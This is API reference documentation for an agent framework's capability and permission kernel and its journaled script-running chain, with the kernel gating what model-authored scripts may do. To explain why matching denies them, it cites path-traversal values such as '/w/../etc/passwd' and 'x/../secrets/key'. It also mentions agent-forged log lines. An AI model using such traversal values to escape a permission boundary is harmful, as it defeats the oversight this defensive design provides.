for those characters and any pattern returned would silently widen the grant.
Quotes, spaces, and newlines are accepted. The derived pattern matches that
resource and nothing else. This is the only safe conversion from a request to a
grant; see [Grant a capability safely](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/capability/docs/guides/grant-a-capability-safely.md).

### Capability.matches

```ts
const matches: (pattern: CapabilityPattern, capability: Capability) => boolean
```

Tests whether a pattern selects an exact capability. The action must match
exactly, by namespace family, or by `*`, and the resource glob is matched
against the whole resource byte-exactly over UTF-16 code units, with no path
normalization and no case folding.

Returns `false` rather than throwing when the pattern-length times
resource-length product exceeds [`maxMatchWork`](#capabilitymaxmatchwork),
because a grant must never widen. Also returns `false` for an `fs:*`
capability whose absolute resource has a `.` or `..` segment, or whose
relative resource climbs above its start with `..`: text matching would let
`/w/**` select `/w/../etc/passwd`, so canonicalize before constructing it. A
relative declared scope such as `.`, `./src`, or `src/a/../b` matches only
when the pattern selects both its text and its lexical normal form, so
`src/**` does not select `src/a/../../etc`. `Permission.evaluate` reads a deny
or ask rule the other way: it applies when the pattern selects either form.

### Capability.subsumes

```ts
const subsumes: (left: CapabilityPattern, right: CapabilityPattern) => boolean
```

Conservatively determines whether every capability selected by `right` is also
selected by `left`. Returns `false` for any relationship its syntactic checks
cannot prove, and for a `right` that can select a filesystem action and whose
resource has a `.` or `..` segment.

An action is subsumed when `left` is `*`, the two are equal, or `left` is a
namespace family covering `right`. A resource is subsumed when the two are
equal, `left` is `**`, or `left` ends in `/**` and `right` starts with that
prefix and a separator. A single `*` proves only the identical resource, so an
envelope entry that must prove coverage of any other resource is written `**`.

### Capability.mayOverlap

```ts
const mayOverlap: (left: CapabilityPattern, right: CapabilityPattern) => boolean
```

Conservatively determines whether the two patterns can select a common
capability. Returns `false` only when disjointness is provable: actions no
capability satisfies at once, two literal resources that differ, or literal
prefixes that disagree over their shared span. Every relationship the syntactic
checks cannot settle answers `true`, and the question is symmetric in its
arguments.

The unprovable case answers the opposite way from
[`subsumes`](#capabilitysubsumes), which is the point. Ask `subsumes` before
widening a grant, where an unprovable answer must not grant. Ask `mayOverlap`
before dropping a restriction, where an unprovable answer must keep the
restriction. Reading "cannot prove coverage" as "does not apply" is how a
`deny` rule falls through to a later `allow`.

### Capability.withinMatchBudget

```ts
const withinMatchBudget: (pattern: CapabilityPattern, capability: Capability) => boolean
```

Reports whether `matches` can decide this pair inside `maxMatchWork`. An action
mismatch is decidable without any resource work. Use it to tell "not granted"
apart from "undecidable" when `Permission.evaluate` returns `deny`.

### Capability.maxResourceLength

```ts
const maxResourceLength = 4096
```

The maximum UTF-16 length of an exact or patterned resource. Exact requests and
authored patterns share the bound, so permission failures, journal payloads,
matching work, and exact-pattern derivation all have one finite input contract.
An adapter must reject or summarize a larger host value before constructing a
capability.

### Capability.maxMatchWork

```ts
const maxMatchWork = maxResourceLength * maxResourceLength
```

The maximum pattern-length times resource-length work one match may perform,
the square of `maxResourceLength`. An ordinary short grant such as
`/workspace/**` still decides a resource well over a million units long, so the
budget only bites on a structural input that evaded the length check.

### Capability.EffectTier

```ts
type EffectTier = "sealed" | "compensable" | "irreversible"

const EffectTier: Schema.Literals<["sealed", "compensable", "irreversible"]>
```

The durability and retry semantics of an effect. See
[Effect tiers](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/capability/docs/concepts/effect-tiers.md).

### Capability.TierOptions

```ts
interface TierOptions {
  readonly workspaceRoot: string
}
```

`workspaceRoot` is the lexical boundary used to classify file writes. A root
that normalizes to `.` or the empty string has no boundary and fails closed to
`irreversible`, so pass an absolute root.

### Capability.tierOf

```ts
const tierOf: (capability: Capability, options: TierOptions) => EffectTier
```

Classifies an exact capability.

| Tier           | Actions                                                                                                                                      |
| -------------- | -------------------------------------------------------------------------------------------------------------------------------------------- |
| `sealed`       | `fs:read`, `net:get`, `model:call`, `memory:read`, `jj:status`, `jj:diff`, `jj:root`                                                         |
| `compensable`  | `jj:snapshot`, `jj:restore`, `jj:workspace-add`, `jj:workspace-forget`, `jj:revert`, `jj:op-restore`, and an `fs:write` inside the workspace |
| `irreversible` | `net:post`, `proc:spawn`, `memory:write`, and an `fs:write` that escapes the workspace                                                       |

Workspace containment is lexical, so symlinks are invisible: a caller that
materializes workspace snapshots resolves real paths before classifying a
write. A resource with a drive letter, any backslash, or a leading `~` is never
inside the workspace.

### Capability.requiresIdempotencyKey

```ts
const requiresIdempotencyKey: (tier: EffectTier) => boolean
```

Reports whether retrying an effect requires an idempotency key. Only
`irreversible` does.

## Permission

Typed permission failures, policy rules, and the `PlatformError` projection.

### Permission.RuleEffect

```ts
type RuleEffect = "allow" | "deny" | "ask"

const RuleEffect: Schema.Literals<["allow", "deny", "ask"]>
```

The decision a matching rule applies.

### Permission.Rule

```ts
class Rule extends Schema.Class<Rule>("@smthrs/capability/Rule")({
  effect: RuleEffect,
  pattern: CapabilityPattern
}) {}
```

A capability pattern and the decision it applies.

### Permission.evaluate

```ts
const evaluate: (
  rulesets: ReadonlyArray<ReadonlyArray<Rule>>,
  capability: Capability
) => RuleEffect
```

Reduces ordered rulesets to one decision for one exact capability.

Matching rules are last-match-wins across all rulesets, and the default is
`ask`. `rulesets[0]` is the configured policy ruleset: it is first reduced with
the same last-match rule, and its effective denial is then a hard veto, so a
configured `deny` superseded by a later configured `allow` or `ask` is not a
veto.

`net:private` requires an allow rule naming that exact action. Wildcard action
allows are skipped for it; wildcard denies retain the normal precedence.

A rule the matcher cannot decide within `Capability.maxMatchWork` vetoes the
decision and `evaluate` returns `deny`, because skipping it could let an
undecidable `deny` fall through to a later `allow`. The kernel turns that
`deny` into a `PermissionDenied`. An `fs:*` capability whose absolute resource
has a `.` or `..` segment, or whose relative resource climbs above its start, is
`deny` for the same reason. A relative declared scope such as `./src` or
`x/../secrets/key` is evaluated against both its text and its lexical normal
form: an `allow` must select both, and a `deny` or `ask` applies when it
selects either.

[`@smthrs/kernel`](/docs/reference/api/kernel/) supplies four rulesets in this order:
configured policy, the patterns approved for a run before it starts, the grants
the run holds, and the grants a person chose to remember. See
[The authorization model](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/capability/docs/concepts/authorization-model.md).

### Permission.PermissionRequired

```ts
class PermissionRequired extends Schema.TaggedError<PermissionRequired>()(
  "@smthrs/capability/PermissionRequired",
  {
    code: Schema.Literal("permission_required"),
    requestId: Schema.String,
    runId: Schema.optional(Schema.String),
    capability: Capability,
    tier: EffectTier,
    meta: Schema.Record(Schema.String, Schema.Json)
  }
) {}
```

A permission request that must be resolved by an attended surface. The
operation did not happen.

| Field        | Meaning                                            |
| ------------ | -------------------------------------------------- |
| `requestId`  | The identity a surface resolves the request by.    |
| `runId`      | The run the request belongs to, when there is one. |
| `capability` | The exact adapter request. Never a wildcard.       |
| `tier`       | What performing the operation would cost to undo.  |
| `meta`       | Journal-safe context for the person answering.     |

`meta` accepts only JSON-representable values. Construction takes a cycle-safe,
deep-frozen snapshot and does not retain the caller's object; an
`undefined` object property is dropped, mirroring `JSON.stringify`, while an
`undefined` array element is rejected because serialization would change it to
`null`. A value the journal could not encode fails at the construction site
naming the key. Own `__proto__` data properties are preserved at every depth.
The limits are depth 16 (the metadata root is depth 0), 1024 object properties
and array elements in total, and 64 KiB of UTF-8 JSON after dropping undefined
properties. Omitted properties still count toward the member limit. Shared
references reuse one frozen copy, but each occurrence counts toward depth,
members and serialized bytes. Cycles and exceeded limits raise a field-specific
schema error before journal encoding.

The error retains a defensive copy of the capability, and its
`capability` and `meta` slots are non-writable.

### Permission.PermissionDenied

```ts
class PermissionDenied extends Schema.TaggedError<PermissionDenied>()(
  "@smthrs/capability/PermissionDenied",
  {
    code: Schema.Literal("permission_denied"),
    capability: Capability,
    reason: Schema.String
  }
) {}
```

A capability rejected by policy or by the current capability ceiling. `reason`
says which. Like `PermissionRequired`, it retains a defensive copy of the
capability in a non-writable slot.

### Permission.GrantStoreErrorCode

```ts
type GrantStoreErrorCode =
  | "duplicate_request"
  | "request_not_found"
  | "journal_failed"
  | "store_closed"
  | "invalid_resolution"

const GrantStoreErrorCode: Schema.Literals<[...]>
```

The stable grant-store failure codes callers branch on.

### Permission.GrantStoreError

```ts
class GrantStoreError extends Schema.TaggedError<GrantStoreError>()(
  "@smthrs/capability/GrantStoreError",
  {
    code: GrantStoreErrorCode,
    message: Schema.optional(Schema.String),
    cause: Schema.optional(Schema.Defect())
  }
) {}
```

A failure to register, persist, or resolve a grant request. Treat it as
unavailable rather than as a denial. `message` and `cause` are optional
operation context for persistence adapters; branch on `code`.

### Permission.PermissionError

```ts
type PermissionError = PermissionRequired | PermissionDenied | GrantStoreError

const PermissionError: Schema.Union<[...]>
```

Every failure the capability kernel can add to a guarded host call, as both a
union type and a schema value. A protected service names it in its own
interface, so a caller that holds the service cannot forget that an operation
may be suspended, denied, or left undecided by a broken grant store.

### Permission.permissionRequired

```ts
const permissionRequired: (options: {
  readonly requestId: string
  readonly runId?: string | undefined
  readonly capability: Capability
  readonly tier: EffectTier
  readonly meta?: Readonly<Record<string, unknown>> | undefined
}) => PermissionRequired
```

Constructs a permission request for an exact capability. `meta` defaults to
`{}`.

### Permission.permissionDenied

```ts
const permissionDenied: (capability: Capability, reason: string) => PermissionDenied
```

Constructs a denied permission failure.

### Permission.isPermissionError

```ts
const isPermissionError: (input: unknown) => input is PermissionErrorPayload
```

Refines an unknown value to `PermissionErrorPayload`, a union of data fields.
It accepts complete structural records and instances from another copy of the
package. It rejects excess enumerable fields, missing required fields, invalid
field types, overlong capability resources, accessors on known fields, and
non-JSON or cyclic metadata. Metadata descriptors are checked at every depth
without invoking getters. Required fields must be own data properties. Optional
fields cannot be inherited, except the empty default `Error.message` on a
schema-identified grant-store error. The grant-store `cause` is opaque context;
its own property must be data, but its contents are not inspected.

### Permission.PermissionErrorPayload

```ts
type PermissionErrorPayload =
  | { readonly _tag: "@smthrs/capability/PermissionRequired" /* request data */ }
  | { readonly _tag: "@smthrs/capability/PermissionDenied" /* denial data */ }
  | { readonly _tag: "@smthrs/capability/GrantStoreError" /* store data */ }
```

The fields of the corresponding error schemas, with structural
`{ action, resource }` capabilities and optional grant-store `message` and
`cause`. This type has no Error methods, Effect iterator, or schema brand.
It is suitable for rendering and branching on `_tag`.

### decodePermissionError

```ts
import { decodePermissionError } from "@smthrs/capability"

const decodePermissionError: (input: unknown) => Option.Option<PermissionError>
```

Validates with `isPermissionError`, then constructs a yieldable error instance
and any nested capability. Returns `Option.none()` for an invalid payload or
metadata exceeding the `PermissionRequired` constructor limits. Accepts
instances from another copy of the package without relying on `instanceof`.
Metadata is copied and frozen by the constructor; grant-store causes remain
opaque context.

### Permission.maxDisplayFieldLength

```ts
const maxDisplayFieldLength = 256
```

The maximum UTF-16 length of one field in a permission-error rendering, marker
included. It bounds unattended log output while preserving ordinary Unicode.

### Permission.formatError

```ts
const formatError: (error: PermissionErrorPayload) => string
```

Renders a permission failure as the one-line `description` a `SystemError`
carries, which is the string a log line or an unattended report shows:

```text
permission_required: <action:resource> (tier <tier>, request <requestId>)
permission_denied: <action:resource>: <reason>
grant store <code>: <message>
```

Every field escapes C0 and C1 controls, doubles a literal backslash, is limited to `maxDisplayFieldLength`
UTF-16 code units, and ends with a visible `…[truncated]` marker when cut, so
an agent-chosen resource cannot forge extra log lines. Ordinary non-ASCII text
is unchanged.

### Permission.toPlatformError

```ts
const toPlatformError: (options: {
  readonly module: string
  readonly method: string
  readonly pathOrDescriptor?: string | number | undefined
  readonly error: PermissionError
}) => PlatformError
```

Projects a permission failure into Effect's `PlatformError` channel. Effect
owns `FileSystem` and `ChildProcessSpawner`, and their tags fix the error
channel to `PlatformError`, so the kernel decorates those tags in place rather
than minting a second tag whose only difference is a wider error type.

Nothing is lost. The normalized reason is always `PermissionDenied`, meaning
the operation did not happen because the capability kernel refused, suspended,
or could not decide it; `description` carries the `formatError` rendering; and
`cause` carries the structured failure itself.

### Permission.fromPlatformError

```ts
const fromPlatformError: (error: PlatformError) => Option.Option<PermissionErrorPayload>
```

Returns the original cause as a data-only payload when the reason tag is
`PermissionDenied` and the cause passes `isPermissionError`. Returns
`Option.none()` otherwise. Foreign errors with complete structural causes are
accepted even if `toPlatformError` was never called. Recovery validates
structure and the reason tag, not origin. Across a trust boundary, callers must
establish producer or request identity separately. Use `decodePermissionError`
when a yieldable error instance is required.

## Related

- [The `@smthrs/kernel` reference](/docs/reference/api/kernel/): the grant store, the
  decorating layers, and grant handling.
- [Handle a permission failure](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/capability/docs/guides/handle-a-permission-failure.md): the
  procedure these three failures are built for.

## Capability ceilings

`@smthrs/capability/CapabilitySet` provides the shared authority implementation
also exported by `@smthrs/kernel/CapabilitySet`. `current` reads the fiber's
ceiling. `attenuate(patterns)(effect)` intersects one any-of group;
`attenuateGroups(groups)(effect)` intersects every group, including persisted
ceilings during recovery. Neither can widen the current authority. An empty
outer array inherits; an empty group denies all capabilities. `fromPatterns`,
`fromGroups`, `intersect`, `allows`, `equals`, and `none` operate on the same
immutable values. `within(inner, outer)` conservatively proves that `inner`
allows nothing `outer` rejects; it answers `false` when it cannot prove it, so
unrestricted authority is within only unrestricted authority.

---

# @smthrs/chain
https://smithers.sh/docs/reference/api/chain/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/chain/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/chain/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/agent/chain/docs)

> **workspace-private:** `@smthrs/chain` is documented for contributors and is not installable from npm.

> **Related APIs:** [`@smthrs/capability`](/docs/reference/api/capability/) · [`@smthrs/core`](/docs/reference/api/core/) · [`@smthrs/memory`](/docs/reference/api/memory/) · [`@smthrs/model`](/docs/reference/api/model/) · [`@smthrs/registry`](/docs/reference/api/registry/)

`@smthrs/chain` exports one namespace per module. The barrel and the matching
subpath reach the same module, so `@smthrs/chain/Catalog` and `Catalog` from
the barrel are the same namespace. `./internal/*` is null-mapped and carries
no promise.

## The spine

| Namespace     | What it is                                                                                                                         |
| ------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| `Chain`       | The trampoline. `Chain.run(options)` drives a chain to a terminal outcome and resumes from whatever the journal already holds.     |
| `Journal`     | The append-only journal port: `append(event, expectedPosition)` and `read`. `layerMemory` is the in-process stand-in tests run on. |
| `Event`       | The event vocabulary and the pure folds over it. Every projection a host shows is a fold, never a second store.                    |
| `CallKey`     | The replay key: link, script digest, ordinal, and the entry's declaration digest.                                                  |
| `Outcome`     | What a link returns: `done`, `to`, `park`, the terminal subset, and the approval wait a run can stop at.                           |
| `Observation` | The typed rejection a gate journals so the next author can route around it.                                                        |

## Authoring and scripts

| Namespace           | What it is                                                                                                                |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| `Author`            | The model seat as a port. `layerMock` and `layerFn` are the test seats; `contextOf` normalizes a script's author payload. |
| `AuthorDeclaration` | The author entry's name, description, digest, and capability claim, in one leaf both the trampoline and the prompt read.  |
| `ModelAuthor`       | The production seat over `@smthrs/model`.                                                                                 |
| `Script`            | Script text plus the digest that keys it, and `extract`, which is gate 1: exactly one fenced `flow` block.                |
| `ScriptRunner`      | The interpreter port, its typed `ScriptFailure`, and `layerInProcess`.                                                    |
| `JsonBoundary`      | The gate both bindings answer to: `jsonBoundary`, its limits, `decodeOutcome`, and the shared refusal messages.           |
| `QuickJsRunner`     | The production sealed interpreter: a per-link QuickJS realm with memory, stack, and step limits.                          |
| `Prompt`            | The byte-stable system prefix and the catalog block the model reads.                                                      |

## The catalog and its compositions

| Namespace         | What it is                                                                                                          |
| ----------------- | ------------------------------------------------------------------------------------------------------------------- |
| `Catalog`         | Gate 3: the entries a script may call, indexed by name, plus `entryDigest`, the `system` entries, and `withSystem`. |
| `MemoryEntries`   | Durable memory as two entries, `remember` and `recall`.                                                             |
| `RegistryCatalog` | Repository-discovered flows projected into entries.                                                                 |
| `SubChains`       | Sub-agents as one ordinary entry: `agent` runs a nested chain in the same journal under a derived child id.         |

## Seams a host provides

| Namespace   | What it is                                                                                                                                                             |
| ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Authorize` | Gate 4: per-call authorization against the capabilities an entry declares. `layerRules` decides exact claims through `@smthrs/capability`'s own `Permission.evaluate`. |
| `Steering`  | The root chain's inbound instruction channel, drained at a link and ordinal boundary and journaled.                                                                    |

## Composing a run

`Chain.run` needs four services (`Journal`, `Catalog`, `Author`, and
`ScriptRunner`) and picks up `Authorize` and `Steering` when they are
mounted.

Neither `Chain` nor `ModelAuthor` writes a prompt. `Chain.run` defaults
`prefix` to the empty string and `ModelAuthor` sends no system part for an
empty prefix, so a model-backed run that passes only a `goal` hands the model
nothing about links, flow scripts, `ctx.call`, outcomes, or the entries it may
call. Assemble the prefix from the mounted catalog with `Prompt.forCatalog`
and pass it to every `Chain.run`.

```ts
import { Catalog, Chain, Journal, ModelAuthor, Prompt, QuickJsRunner } from "@smthrs/chain"
import { Effect, Layer } from "effect"

// `ModelAuthor.layer` needs `Model.Model`, and `Layer.mergeAll` does not
// satisfy one sibling from another: the model layer goes UNDER the author
// layer, not beside it.
const author = ModelAuthor.layer(authorConfig).pipe(Layer.provide(modelLayer))

const layers = Layer.mergeAll(
  Journal.layerMemory(),
  author,
  QuickJsRunner.layer(),
  Catalog.layer(Catalog.withSystem(hostEntries))
)

// The prefix is assembled from the SAME catalog service the chain dispatches
// against, so the entries the model reads are the entries it can call.
const program = Effect.gen(function*() {
  const catalog = yield* Catalog.Catalog
  return yield* Chain.run({
    goal: "fix the failing test",
    prefix: Prompt.forCatalog(catalog, "concierge")
  })
})

// `QuickJsRunner.layer()` carries a `ScriptFailure` error, so the composed
// program can also fail with `runner_unavailable` while the layers are being
// built, before any run starts. Compiling the WebAssembly module is the
// thing that can fail (a browser CSP blocking WebAssembly, say), and that is
// a typed, retryable unavailability rather than a defect.
const terminal = await Effect.runPromise(program.pipe(Effect.provide(layers)))
```

A catalog layer that itself needs the base services (`SubChains.make` is
the one in this package) must be built over the SAME journal, author, and
runner instances the chain runs on. `SubChains` captures those services at
construction, so a catalog built over a second set of layers would run its
children against a different journal than their parent.

## `Chain`

The chain trampoline: bootstrap, links, gates, and prefix replay.

### Errors

- `ChainError extends Schema.TaggedError`: tag `/chain/ChainError`, fields
  `code: "replay_divergence" | "invalid_journal"` and `message: string`. A
  chain that cannot proceed: a replayed link diverged from its journal, the
  journal itself is not a valid chain history, the root scope id uses the
  reserved child grammar, or a budget is not a non-negative integer. Never
  recoverable by re-authoring.

### Models

- `Options`: what a run needs.
  - `goal: string` (required): pinned into `ChainStarted` and compared on
    resume.
  - `envelope?: Schema.Json`: opaque run identity, compared on resume; a
    resumed run whose envelope differs fails with `replay_divergence`. NOT a
    policy input: the `Authorize` seam receives only the call's name,
    capabilities, and slot. Journaled verbatim and never redacted, so keep
    secrets out of it.
  - `prefix?: string`: the stable fixed prefix handed to the author seat.
  - `maxLinks?: number`: link budget, default `defaultMaxLinks`.
  - `maxCallsPerLink?: number`: per-link call budget, default
    `defaultMaxCallsPerLink`. Both budgets must be non-negative integers; a
    `NaN`, negative, fractional, or infinite budget fails the run with
    `invalid_journal` before it writes anything.
  - `context?: ReadonlyArray<string>`: caller-supplied context lines
    appended after the goal in harness-driven author calls.
  - `chain?: string`: the journal scope this run owns (default `""`, the
    root); sub-chains derive theirs from the spawning call slot.

### Constants

- `authorName: "author"`: the name every script uses to call the author
  seat, re-exported from `AuthorDeclaration`.
- `authorDescription: string`: the author entry's one-line description,
  shared with the prompt's catalog block so the model sees the same
  declaration the key pins.
- `authorDigest: string`: the declaration digest pinned into every author
  call key.
- `authorCapability: "model:call:author"`: the capability claim the chain
  sends to the `Authorize` seam for the model seat. An operator's policy
  rule must cover it for a chain to author at all.
- `defaultMaxLinks = 32`: the link budget a run inherits when
  `Options.maxLinks` is unset. Exceeding it parks the chain with a `quota`
  reason.
- `defaultMaxCallsPerLink = 64`: the per-link call budget a run inherits
  when `Options.maxCallsPerLink` is unset. Exceeding it rejects the call as
  a `fuel` observation, which parks the chain on the next attempt.

### Execution

- `run(options: Options): Effect.Effect<Outcome.RunResult, RunError, Services>`:
  runs a chain to a terminal outcome or an in-place `Outcome.ApprovalWait`,
  resuming from whatever the journal already holds. An `ApprovalWait` is an
  unsettled call waiting on a grant, not a terminal: after the grant, running
  the same chain again re-enters that call. A finished chain returns its terminal without executing
  anything; a half-finished link replays its settled calls by ordinal before
  running live. The error channel and the service requirement are fixed:

  ```ts
  type RunError =
    | ChainError
    | Journal.JournalError
    | Author.AuthorError
    | Steering.SteeringError
    | Authorize.AuthorizeError

  type Services =
    | Journal.Journal
    | Catalog.Catalog
    | Author.Author
    | ScriptRunner.ScriptRunner
  ```

  A script failure, a handler failure, and an unserializable value become
  journaled observations, not errors.

## `Journal`

The append-only journal port and its in-memory layer. The journal is the
only state the chain has.

### Errors

- `JournalError extends Schema.TaggedError`: tag `/chain/JournalError`,
  fields `code: "journal_conflict" | "journal_unavailable"` (constructor
  default `journal_unavailable`) and `message: string`. A journal that
  cannot be appended to or read.

### Services

- `Service`: the two operations the chain needs.
  - `append(event, expectedPosition): Effect<void, JournalError>`: appends
    one event as a compare-and-swap against the position the caller believes
    is next.
  - `read: Effect<ReadonlyArray<Event.Event>, JournalError>`: reads them
    all.
- `Journal extends Context.Service`: the journal service tag, key
  `/chain/Journal`.

### Constructors and layers

- `make(implementation: Service): Service`: builds a journal from an
  implementation.
- `makeNoop(overrides?: Partial<Service>): Service`: a journal whose every
  operation fails as unavailable, with per-operation overrides. The default
  a test starts from.
- `layerNoop(overrides?: Partial<Service>): Layer.Layer<Journal>`: the
  unavailable journal as a layer.
- `layerMemory(initial?: ReadonlyArray<Event.Event>): Layer.Layer<Journal>`:
  an in-memory journal over one array, optionally seeded with prior events.
  The seed is how tests replay and resume a chain. `append` pushes in place
  and fails with `journal_conflict` when `expectedPosition` does not match
  the current length; `read` returns a copy, so a reader never sees a later
  append.

## `Event`

The journal event vocabulary and the pure folds over it.

### Models

Each event is a `Schema.TaggedStruct` (with its decoded type of the same
name) and carries an optional `chain` scope, omitted at the root so existing
journals stay byte-identical and set to the deterministic child id for
sub-chain events.

- `ChainStarted`: `{ goal: string, envelope: Schema.Json }`. The chain's
  first event.
- `LinkAuthored`: `{ link: LinkId, script: Script.Script }`. The script a
  link will execute, recorded before it runs so a resumed link replays the
  same source.
- `CallSettled`: `{ link: LinkId, key: CallKey.CallKey, name: string,
  payload: Schema.Json, result: Schema.Json }`. One call that reached an
  entry and produced a result; the unit the replay cache is keyed by.
- `GateRejected`: `{ link: LinkId, ordinal: Ordinal, observation:
  Observation.Observation }`. One call a gate refused.
- `LinkEnded`: `{ link: LinkId, outcome: Outcome.Outcome }`. The outcome a
  link ended with; the event that advances the link counter.
- `SteeringDrained`: `{ link: LinkId, ordinal: Ordinal, messages:
  ReadonlyArray<string> }`. One non-empty steering drain, tied to the live
  author call it fed. Empty drains are not journaled.
- `Event`: the union of all six.

### Folds

Each fold takes the event array and a chain scope (default `""`, the root)
and returns a pure projection.

- `inChain(event, chain): boolean`: whether an event belongs to the given
  chain scope.
- `started(events, chain?): boolean`: whether the chain has recorded its
  `ChainStarted` event.
- `linkCount(events, chain?): number`: the index of the current link. Links
  end strictly in order, so the count of `LinkEnded` events names the link
  now in progress.
- `authored(events, link, chain?): Script.Script | undefined`: the script
  authored for a link, if any. Link 0 (bootstrap) never has one.
- `settled(events, link, chain?): ReadonlyMap<number, CallSettled>`: the
  settled calls of a link, keyed by ordinal. The replay cache.
- `rejected(events, link, chain?): ReadonlyMap<number, GateRejected>`: the
  gate rejections of a link, keyed by ordinal. Replayed as aborts so a
  resumed link never re-executes a rejected call.
- `observations(events, link, chain?): ReadonlyArray<Observation.Observation>`:
  all observations recorded for a link, in journal order. The material a
  recovery author call projects into its context.
- `steeringLines(events, link, chain?): ReadonlyArray<string>`: every
  steering line recorded for a link, in drain order.
- `steeredOrdinals(events, link, chain?): ReadonlySet<number>`: the ordinals
  of a link's recorded drains. A resumed execution never re-drains a
  boundary it already consumed.
- `terminal(events, chain?): Outcome.Terminal | undefined`: the chain's
  terminal outcome, if it has one: the last `LinkEnded` whose outcome is
  `Done` or `Park`. A replay of a finished chain returns this without
  executing anything.

## `CallKey`

The durable identity of one settled call within a link.

### Models

- `LinkId`: a `Schema.Int` checked `>= 0`. A link's index in its chain,
  counted from zero.
- `Ordinal`: a `Schema.Int` checked `>= 0`. A call's position within its
  link, counted from zero in issue order.
- `CallKey`: `{ link: LinkId, scriptDigest: string, ordinal: Ordinal,
  entryDigest: string }`. The four components a settled call is keyed by.

### Constants and constructors

- `harnessDigest = ""`: the `scriptDigest` recorded for calls the harness
  itself issues (bootstrap and recovery author calls), which belong to no
  authored script.
- `make(link, scriptDigest, ordinal, entryDigest): CallKey`: builds a call
  key from its four components.

## `Outcome`

The trampoline outcomes a link can end with.

### Models

- `ParkCode`: `"approval" | "event" | "timer" | "quota" | "plugin"`. What a
  parked lineage is waiting for.
- `ParkReason`: `{ code: ParkCode, message: string }`. A park's typed code
  plus the prose a reader needs to act on it.
- `Done`: tagged struct `{ value: Schema.Json }`. The chain completed,
  carrying its result value.
- `To`: tagged struct `{ script: Script.Script }`. The link hands off to a
  successor script; the trampoline's one bounce.
- `Park`: tagged struct `{ reason: ParkReason }`. The lineage suspends.
- `Outcome`: the union `Done | To | Park`.
- `Terminal = Done | Park`: a chain-ending outcome. Parked lineages stop
  (wake is out of the slice's scope) and completed lineages return their
  value.
- `ApprovalWait`: `{ _tag: "ApprovalWait", reason: { code: "approval",
  message: string } }`. An unsettled approval boundary a run stops at. It is
  never a script outcome or a journal event; a grant and a resume re-enter
  the same call.
- `RunResult = Terminal | ApprovalWait`: what `Chain.run` returns. The
  persisted `Outcome` format contains only script outcomes.

### Constructors

- `done(value): Done`: completes the chain with a value. `undefined`
  becomes `null`, the one JSON representation of "no value".
- `to(script): To`: continues the chain with a successor script. The digest
  is RE-DERIVED from the text and the caller's is discarded: a script may
  choose the text it hands on, never the replay identity that text is keyed
  by.
- `park(code: ParkCode, message = ""): Park`: suspends the lineage with a
  typed waiting reason.

## `Observation`

Typed, journaled gate observations. A failed gate is never a harness crash:
it is recorded in the journal and projected into the next authored link's
context.

### Models

- `Kind`: `"shape" | "fuel" | "catalog" | "call_failed" | "script_failed" |
  "denied"`. Which gate produced the observation, or which stage failed.
- `Observation`: `{ kind: Kind, message: string }`.

### Constructors and projections

- `make(kind, message): Observation`: builds an observation from its kind
  and message.
- `render(observation): string`: renders an observation as one context line
  for the next author call, `[kind] message`.

## `Author`

The author seat: the one thing the chain needs from a model. The seat is
mocked at this boundary, not at the provider wire.

### Errors

- `AuthorError extends Schema.TaggedError`: tag `/chain/AuthorError`, fields
  `code: "author_unavailable" | "exhausted"`, `message: string`, and
  optional `cause: string`. The cause carries the underlying typed condition
  when one exists (a model failure code such as `rate_limited` or
  `context_overflow`, a permission tag, or a stop reason such as `length`),
  so callers branch on it rather than parsing prose.

### Models

- `Input`: `{ prefix: string, context: ReadonlyArray<string> }`. What the
  harness hands the seat: the stable fixed prefix and the context the
  previous link's code built, nothing else.

### Services

- `Service`: `{ author(input: Input): Effect<string, AuthorError> }`. The
  seat's one operation: turn an author input into the raw model output the
  chain extracts a script from.
- `Author extends Context.Service`: the author seat service tag, key
  `/chain/Author`.

### Constructors and layers

- `contextOf(payload: unknown): ReadonlyArray<string>`: normalizes an author
  call's payload into its context lines. Scripts call the author entry with
  `{ context: [...] }`; anything else normalizes to no context, so a script
  passing garbage stays a journaled observation, never a crash.
  Context elements use string coercion. If coercion fails, they use JSON
  text, or `[unprintable context]` if serialization also fails.
- `make(implementation: Service): Service`: builds a seat from an
  implementation.
- `makeNoop(overrides?: Partial<Service>): Service`: a seat whose every
  operation fails as unavailable, with per-operation overrides.
- `layerNoop(overrides?): Layer.Layer<Author>`: the unavailable seat as a
  layer.
- `layerFn(f: (input: Input) => string): Layer.Layer<Author>`: a reactive
  mock. The test supplies the function from input to raw model output and
  can capture the inputs it saw.
- `layerMock(outputs: ReadonlyArray<string>): Layer.Layer<Author>`: a
  scripted mock. Pops canned raw outputs in order and fails with `exhausted`
  when asked for more than it holds. The outputs are copied when the layer is
  constructed, so a later edit of the caller's array changes nothing.

## `AuthorDeclaration`

The author entry's declaration: the one leaf both the trampoline and the
prompt read, so the model always sees exactly the declaration the call key
pins, and the pure prompt module never imports the runtime.

### Constants

- `authorName = "author"`: the name every script uses to call the author
  seat. Model calls are ordinary calls, one mechanism.
- `authorDescription`: the author entry's one-line description: "Author the
  successor flow script from the context the caller built".
- `authorDigest: string`: the declaration digest pinned into every author
  call key, digested from the canonical name and description.
- `authorCapability = "model:call:author"`: the capability the author seat
  claims. The authorization seam evaluates the model call against this claim
  like any other effect, so an operator's policy must cover it before a
  chain can author at all.

## `ModelAuthor`

The model-backed author seat over `Model.Model` from
[@smthrs/model](/docs/reference/api/model/).

### Models

- `Config`: `{ modelId: string, params?: ModelRequest.GenerationParams }`.
  Which model the seat calls, and the generation parameters it calls with.

### Constructors and layers

- `requestFor(config): (input: Author.Input) => ModelRequest.ModelRequest`:
  the pure mapping from an author input to the wire-neutral request. It is
  the mapping `make` itself calls, so you can build a request from an input
  and inspect exactly what the model will see. Degenerate inputs
  collapse to wire-valid shapes: an empty prefix emits no system part at
  all, and an empty context becomes one placeholder line, because providers
  reject empty system blocks and empty user content outright. The request
  declares no tools and `toolChoice: "none"`.
- `make(config): Effect<Author.Service, never, Model.Model>`: builds the
  author seat over the ambient model. A stream that settles with a stop
  reason other than `stop` fails `author_unavailable` with the stop reason
